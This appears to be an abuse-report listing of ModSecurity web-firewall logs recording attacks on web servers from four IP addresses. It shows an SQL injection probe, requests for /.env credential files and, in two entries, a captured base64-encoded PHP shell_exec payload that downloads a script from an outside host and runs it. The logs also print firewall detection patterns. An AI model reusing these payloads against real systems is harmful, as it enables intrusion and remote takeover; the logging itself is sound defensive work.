🇹🇼 114.46.35.137	12 May 2025	12/May/2025:17:39:36.266799 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:17:39:36.266799 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 114.46.35.137] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n&1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: n&1 found within ARGS:action: sendfav and 1=2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "mignonne.com"] [uri "/index.php"] [unique_id "aCIWNxcZ9Ewu2L6uGuFopgAAAVc"] 12/May/2025:17:39:41.743332 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 114.46.35.137] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n&1' [file "/etc/apache2/conf.d/modsec_vendor_co ... show less	Hacking Web App Attack
🇨🇳 116.52.165.35	12 May 2025	12/May/2025:17:12:48.261346 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:17:12:48.261346 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 116.52.165.35] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
🇬🇧 78.153.140.224	12 May 2025	12/May/2025:17:01:41.264266 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:17:01:41.264266 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 78.153.140.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.45.16"] [uri "/.env"] [unique_id "aCINVSa22j2IkRL_Y7jBIAAACpg"] 12/May/2025:17:01:43.237299 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 78.153.140.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇫🇷 62.210.114.90	12 May 2025	12/May/2025:16:47:09.649930 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 12/May/2025:16:47:09.649930 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 62.210.114.90] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\\(,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\\)?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack